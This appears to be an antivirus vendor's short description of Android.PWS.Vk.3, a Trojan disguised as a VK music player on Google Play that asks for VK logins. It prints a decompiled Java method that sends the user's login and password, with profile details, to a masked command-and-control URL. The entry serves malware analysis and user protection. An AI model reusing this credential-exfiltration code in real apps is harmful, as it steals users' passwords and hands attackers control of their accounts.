SHA1: 20a85dc97f4edad3b245e06e6e087afe7b02e4a3
A Trojan designed to infect Android devices. Cybercriminals incorporated it into a player application for VK music and published it on Google Play.
To listen to music, the user is prompted to type the login credentials for their VK profile:
If the user does so, Android.PWS.Vk.3 covertly sends the information to the C&C server providing the attackers with full control over the user’s profile.
public static void saveAccount(long userId, int sex, int city, int county, String login,
String
pass) {
try {
Params params0 = new Params();
params0.put("id", String.valueOf(userId));
params0.put("sex", Integer.valueOf(sex));
params0.put("city", Integer.valueOf(city));
params0.put("county", Integer.valueOf(county));
params0.put("login", login);
params0.put("pass", pass);
VK.getInstance().go("http://********.com/login_user.php", params0.getParamsString());
}
catch(Throwable throwable0) {
}
}
